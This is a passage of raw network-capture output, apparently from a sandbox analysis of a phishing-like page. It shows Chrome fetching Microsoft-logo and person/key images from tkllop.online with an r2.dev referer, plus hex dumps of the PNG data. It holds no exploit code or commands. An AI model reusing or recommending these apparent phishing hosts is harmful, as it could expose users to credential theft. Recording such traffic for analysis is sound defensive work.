68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49756	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	643	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	778	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RWIUuaf1MI1vaRivNBs9nigO7LOKSV%2FYniqdD1b9KCzURHMGQ58nDYcY7Fl0md%2FK4pmYXc2mav%2BkIFnhlBKk6kdCbvAmKj5GHgQa6Tg14iKe2i5E%2F3JIgf3We83j3CFN4g%2BhSiuiLNZsu24%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e0b9f429a-EWR
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-10-07 18:59:09 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49753	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	642	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	819	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YA2AIOSVpN4767l3JSQGjRcAJ699LDLShXis0KE6fwvon2QwTFQMFcq%2BGVkilJa4am5vdiLnqLd8SumOC42DgIp4DPuVRvBOhoCDRs8vlPtL1iz2g7yhkP8JsClBUKHZhOZwSYcaiouItyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e0d5d4333-EWR
2024-10-07 18:59:09 UTC	550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc 2d d5 09 60 0f 11 fd 90 99 f7 10 d1 4f 00 bc 41 44 47 88 a8 c1 cc 7d cc dc 27 22 4b 99 f9 bd 00 2e 00 b0 ca 18 73 5a 2b c7 10 91 63 cc 7c bb ef fb f7 10 11 5a f9 ed 3b 41 47 06 cb f3 bc 77 8b c8 93 cc 7c 41 9c ed 01 bc 05 e0 49 66 7e dc 71 9c 4a b9 5c fe 69 2b c7 db b0 61 83 73 e8 d0 a1 df 26 a2 21 00 1b 89 e8 a2 b8 bf 05 f0 c4 29 a7 9c b2 71 6c 6c ec 68 2b c7 ec 76 1d 17 ac 7c 3e bf 9a 88 46 8d 31 4b e6 da 16 c0 3e 22 fa 72 6f 6f ef 03 4f 3f fd f4 ff b6 b1 86 0f 1b 63 36 03 b8 99 99 7b e6 da 5e 44 be db d3 d3 73 c5 d8 d8 d8 6b ed aa 21 eb 3a 2a 58 ae eb 8e 10 d1 43 cc dc d7 6c bb 99 40 7d 81 88 1e f4 7d bf 91 54 3d a5 52 e9 ec 46 a3 f1 a7 22 f2 47 73 5d 34 00 d8 9b cb e5 Data Ascii: y7U]H`-`OADG}'"K.sZ+c\|Z;AGw\|AIf~qJ\i+as&!)qllh+v\|>F1K>"rooO?c6{^Dsk!:XCl@}}T=RF"Gs]4
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f 47 9f 61 b5 90 14 58 09 96 89 68 ae 00 bc 65 e3 f8 29 0a fd fb 00 0c d8 2e c4 36 5b 2d 56 54 97 37 e7 cd e4 2c 8b 0a 10 33 77 fd 24 6e b6 ae 0a a3 4e a8 fb 6d 1c 3f 2d cc 1c 3a 83 8d 88 74 fd 3c a7 b6 5a ac a8 b7 82 7f dd d2 f1 53 21 22 4b c3 96 03 e8 fa b7 76 6c 0d 90 86 b6 58 00 22 df 29 ec 06 cc bc 32 6c b9 31 26 d6 4d f7 2c b3 d5 15 ee 8d 58 d5 ec 35 f5 4c 9b 19 5f 8b 1a 08 8d fa f7 e8 1a b6 ba c2 5d 61 0b 67 ee f4 77 e5 73 e0 c6 98 35 4d 6e bc 3f 6f bb 1e db ac 04 cb 71 9c d0 60 19 63 96 b8 ae 6b f5 b9 74 5b 00 5c 16 b1 ea 50 b9 5c de 6f b5 98 14 58 09 56 10 04 bb a3 9e 48 30 c6 14 6d d4 60 5b 93 60 55 6d d6 91 16 2b c1 f2 7d bf c1 cc a1 ad 56 10 04 d7 d9 a8 c1 26 cf Data Ascii: $@],[X`1]=s8QoGaXhe).6[-VT7,3w$nNm?-:t<ZS!"KvlX")2l1&M,X5L_]agws5Mn?oq`ckt[\P\oXVH0m`[`Um+}V&
2024-10-07 18:59:09 UTC	428	IN	Data Raw: 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df 2b 34 c6 fc bc 52 a9 84 be b1 d4 4c 96 c2 d5 75 c1 4a 52 93 60 b5 aa 5a ad 56 e7 f5 ed c2 38 57 8b 00 1e 9d 9a 9a da 98 e6 a7 82 33 73 f2 ae 4e a8 54 2a 3b 8c 31 1f 9f e3 ed 9f ab fb fb fb 1f 5c b5 6a d5 22 9b b5 bd 9d 06 2b 83 b2 10 2e 0d 56 46 75 7a b8 34 58 19 16 37 5c 7d 7d 7d 0f d9 0e 97 06 2b e3 e2 84 cb 18 73 95 ed 70 e9 55 61 82 5c d7 fd 4b 66 fe 42 c8 aa 79 5f 15 46 89 73 b5 28 22 8f 1d 3d 7a f4 7a 1b 57 8b da 62 75 89 98 af f3 5f d5 df df ff a0 8d 7a 34 58 5d 24 e6 44 24 57 db a8 45 83 d5 65 e2 9c 73 d9 a0 c1 ea 42 95 4a 65 07 11 fd 61 9a 35 68 b0 ba d7 ff a4 79 f0 8e 7a 86 e7 9d 02 c0 c5 85 42 a1 a5 d9 93 e7 fb 52 6c 5a 34 58 29 60 e6 33 88 a8 d4 ca 6f 44 24 53 Data Ascii: "1u"zaf~t`mb+4RLuJR`ZV8W3sNT*;1\j"+.VFuz4X7\}}}+spUa\KfBy_Fs("=zzWbu_z4X]$D$WEesBJea5hyzBRlZ4X)`3oD$S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49757	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	645	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	832	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B0JE2UyxBm1N%2FRtTWxX7VhcZheKgxrxaaQEBdIb5KvN9A7m8KgbmmkVdMqhD1JM%2BXCm4Kv%2BDoDK2nDjTA5URVVmTcyZL1944xlMBJ04%2F9CYrjlbJEwugp0f%2Fn77HlbokqM7%2BOm3xqxCXlKs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e2ee01778-EWR
2024-10-07 18:59:09 UTC	537	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d 9d 9d 9d eb 4a 4a 4a 42 6e 8b 89 15 5f 18 4b 55 d5 b1 cc fc 63 66 5e 04 20 d7 6d 3d 2e 71 9e 88 7e 07 60 8d 2c cb 0d 6e 8b 19 0c 4f 1b 2b 14 0a 95 08 21 7e c8 cc 77 21 7d 0d d5 97 0e 00 db 85 10 0f 4a 92 54 ef b6 18 33 3c 69 ac 4f 3f fd f4 0b 1d 1d 1d 3f 62 e6 ef 03 c8 73 5b 8f 47 69 03 b0 41 08 b1 56 92 a4 56 b7 c5 f4 c5 53 c6 ea 5a c8 5c cc cc 6b 00 c8 6e eb f1 03 44 14 06 70 bf 24 49 cf 7a 69 a9 c2 33 c6 8a 46 a3 e3 da db db 37 0b 21 6e 72 5b 8b 4f 39 00 60 59 30 18 fc d8 6d 21 00 20 dc 16 c0 cc 59 e1 70 78 55 67 67 e7 91 8c a9 92 a2 82 99 0f 87 c3 e1 95 cc 9c e5 b6 18 57 23 96 a2 28 a5 00 9e 61 e6 1b dd d4 91 82 fc 49 d3 b4 85 6e be 2e 72 2d 62 Data Ascii: ^g/2DTh!mJJJBn_KUcf^ m=.q~`,nO+!~w!}JT3<iO??bs[GiAVVSZ\knDp$Izi3F7!nr[O9`Y0m! YpxUggW#(aIn.r-b
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 db a4 79 49 75 dd ae 62 1e f3 9d d3 63 1d 66 9b 53 63 a5 bd bd 1d cb 97 2f 47 4b 4b 4b bf b6 ec ec 6c 3c fe f8 e3 18 3e 7c 78 52 63 c4 c2 b7 be f5 2d db c7 b0 1a 66 fe 06 33 df df bb b8 c8 25 11 4b 51 94 e9 00 92 de 53 e6 47 72 72 72 4c 77 25 77 74 74 e0 95 57 5e 71 58 91 af 18 1d 89 44 2e 29 ff 79 89 b1 88 c8 97 d1 ca 2a 66 cd 9a 65 ba 1a ff e6 9b 6f e2 f4 e9 d3 0e 2b f2 0f ba ae df da fb eb 4b 8c d5 75 32 69 da 92 9b 9b 3b 60 d4 da bd 7b b7 c3 8a fc 03 33 5f f2 0f d7 63 ac ae 7c 76 5f 1c 77 6b 27 03 45 ad aa aa aa 4c d4 32 81 88 be 18 8d 46 7b fc 23 7a 35 dc ec 8e 24 6f 31 58 e6 43 26 6a 99 a3 69 da ec ee bf f7 fe 28 fc aa 0b 5a 3c c9 40 99 0f 99 Data Ascii: :um0}i(JDK<yIubcfSc/GKKKl<>\|xRc-f3%KQSGrrrLw%wttW^qXD.)y*feo+Ku2i;`{3_c\|v_wk'EL2F{#z5$o1XC&ji(Z<@
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 0f 10 30 3e 74 2f 85 d1 75 1d cf 3c f3 0c 5e 7f fd 75 4b fb 8d 46 a3 58 bb 76 2d e6 cc 99 83 45 8b 16 a5 dd 06 0b 66 fe 23 d0 15 b1 64 59 fe 04 40 fc 4b ce 3e a5 ad ad 0d eb d7 af b7 dc 54 bd 79 ed b5 d7 b0 61 c3 86 74 2b d0 16 2d 2e 2e 3e 0a 5c 9c 63 31 11 bd eb ae 26 67 e8 ec ec c4 c6 8d 1b 63 4e 47 0e 04 02 18 3e 7c 78 4f 82 df f0 e1 c3 11 08 04 62 7a f6 fd f7 df c7 c6 8d 1b d3 a9 ac 64 cf 27 5f 4f 6a 32 33 57 01 f8 07 57 e4 38 c8 d6 ad 5b f1 c1 07 1f 0c 78 4f 4e 4e 0e a6 4d 9b 86 eb af bf 1e 57 5f 7d 75 bf 85 ce f6 f6 76 d4 d5 d5 a1 a6 a6 06 87 0e 1d 32 4d 51 06 80 0f 3e f8 00 5b b7 6e c5 b2 65 cb 2c d1 ef 65 88 a8 aa fb ef 3d c6 d2 75 fd b5 54 Data Ascii: ?ADuj3U>#KKmuui]0>t/u<^uKFXv-Ef#dY@K>Tyat+-..>\c1&gcNG>\|xObzd'_Oj23WW8[xONNMW_}uv2MQ>[ne,e=uT
2024-10-07 18:59:09 UTC	777	IN	Data Raw: a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d 66 b0 1f 22 7a c0 4a 53 01 16 47 ac 6e 14 45 79 84 99 57 da d1 77 06 cb 79 3c 18 0c 7e df ea 4e 6d 99 0f c9 b2 7c 3f 80 9f d9 d1 77 06 eb 20 a2 75 b2 2c ff c0 96 be ed e8 b4 9b 70 38 bc 12 c0 80 49 f7 19 dc 81 88 1e ed 0a 00 f6 f4 6f 57 c7 dd 74 4d e8 37 c0 81 df 16 33 c4 84 ce cc df b3 7a 4e d5 17 47 96 b1 c3 e1 f0 2d 00 9e 05 70 b9 13 e3 65 30 a5 4d 08 b1 58 92 a4 3f d8 3d 90 63 ef 47 22 91 c8 97 35 4d db 05 c0 fe 2d c8 19 8c 88 08 21 fe 51 92 a4 3f 39 31 98 63 1f 4f 45 45 45 ef ea ba 3e 09 40 b5 53 63 66 e8 e1 3d 22 9a ea 94 a9 00 87 e7 3d c5 c5 c5 8d ad ad ad 33 00 6c 76 72 dc 34 67 73 73 73 f3 0d 5d 9b 8f 1d c3 b5 54 01 45 51 6e 63 e6 ff 82 87 Data Ascii: p8\|/_Xgg`{FK4h}f"zJSGnEyWwy<~Nm\|?w u,p8IoWtM73zNG-pe0MX?=cG"5M-!Q?91cOEEE>@Scf="=3lvr4gsss]TEQnc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49754	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	641	OUT	GET /static/media/person_office.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-80685e4418f74026adc8912a5ab063db.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:09 UTC	818	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:09 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gN9gK1nLesjiitxuUt2HlOF33EDo04bq3vsALgqCZAY%2FNNcVhbICOHHeEZM8OYOekqa5Le8DQOKHC3pyaGr6W7vk0y7xdZMt70zSpscJJLO9mKOwT4KopwpcbwqFvkr5WQ8lTKQBVo2M4RU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf0206e3e163354-EWR
2024-10-07 18:59:09 UTC	551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d 21 27 27 27 68 b7 98 48 71 85 61 85 42 a1 ae cc bc 80 99 27 03 48 b2 5b 8f 4d 54 13 51 01 80 25 7e bf ff a8 dd 62 5a c2 d1 86 15 0c 06 73 04 41 f8 19 33 cf 40 db 35 a8 c6 d4 00 78 4b 10 84 5f f8 7c be 12 bb c5 e8 e1 48 c3 3a 75 ea d4 f5 35 35 35 f3 99 f9 49 00 c9 76 eb 71 28 17 01 bc 28 08 c2 52 9f cf 57 69 b7 98 c6 38 ca b0 ea 16 32 a7 30 f3 12 00 7e bb f5 b8 01 22 92 00 cc f3 f9 7c 6f 38 69 a9 c2 31 86 55 56 56 d6 fd d2 a5 4b cb 05 41 18 6e b7 16 97 f2 31 80 47 45 51 3c 64 b7 10 00 10 ec 16 c0 cc 5e 49 92 9e a9 ad ad 3d 90 30 aa 98 18 ca cc 7b 24 49 9a cb cc 5e bb c5 d8 7a c7 92 65 39 17 c0 eb cc 7c 87 9d 3a e2 90 dd 8a a2 4c b2 73 bb c8 b6 3b 56 30 18 7c 84 99 0b 13 46 65 0a Data Ascii: 2P((,Qz,}!'''hHqaB'H[MTQ%~bZsA3@5xK_\|H:u555Ivq((RWi820~"\|o8i1UVVKAn1GEQ<d^I=0{$I^ze9\|:Ls;V0\|Fe
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 e0 fe b8 13 22 9a ea f7 fb 57 37 2e d7 fb c9 a6 9b ac c7 12 d6 ad 5b d7 ac 51 0d 1c 38 10 4b 97 2e 35 cc a8 00 a0 77 ef de 58 ba 74 29 fa f4 e9 a3 db a6 a8 a8 08 eb d7 af 37 6c 4c 9b f9 77 ad c2 26 86 15 0e 87 7b 03 18 60 ba 1c 93 29 2e 2e c6 86 0d 1b 74 eb 87 0f 1f 8e c7 1e 7b 0c 29 29 c6 07 16 25 27 27 63 f6 ec d9 18 39 72 a4 6e 9b 77 df 7d 17 47 8f 1e 35 7c 6c ab 61 e6 3b 64 59 ee d9 b8 bc 89 61 29 8a 32 d5 12 45 26 a2 aa 2a 56 ac 58 01 55 55 35 eb 87 0f 1f 8e 69 d3 a6 99 fa 28 12 04 01 53 a7 4e c5 90 21 43 34 eb 15 45 c1 8a 15 2b c0 ec 98 0c da b1 30 a5 71 c1 35 bf d9 3a b7 88 f1 96 c9 31 89 dd bb 77 a3 a4 44 7b ed 2e 2f 2f 0f 0f 3f fc 30 88 cc 4f 80 43 44 98 31 63 86 ee a3 Data Ascii: B=+WlW/?"W7.[Q8K.5wXt)7lLw&{`)..t{))%''c9rnw}G5\|la;dYa)2E&*VXUU5i(SN!C4E+0q5:1wD{.//?0OCD1c
2024-10-07 18:59:09 UTC	1369	IN	Data Raw: dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef 28 8f 56 93 08 91 2c cb 47 98 59 3b 26 29 8e a8 9f f7 44 f3 d8 cb ca ca 42 20 10 40 7a 7a 7a 43 0e d2 73 e7 ce e1 fc f9 f3 38 7a f4 68 54 6b 62 bd 7a f5 c2 53 4f 3d e5 0a 6f d6 58 61 e6 c3 54 5a 5a ba b3 ad 1c 13 57 5b 5b 8b 37 df 7c 13 7f ff fb df 2d 1b 93 88 30 6a d4 28 fc e8 47 3f 8a 27 2f d1 66 61 e6 ed 24 49 d2 46 00 df 6f b1 75 1c b1 6f df 3e bc fa ea ab a6 af c2 a7 a7 a7 63 fa f4 e9 b8 f5 d6 5b 4d 1d c7 69 10 d1 06 01 c0 29 bb 85 58 49 59 59 19 be fa ea 2b dd 95 70 23 a9 a8 a8 c0 ee dd bb 1d e5 c1 6a 11 e5 24 49 d2 af 01 3c 6b b7 12 b3 39 7f fe 3c d6 af 5f 8f 0f 3e f8 c0 72 2f 07 8f c7 83 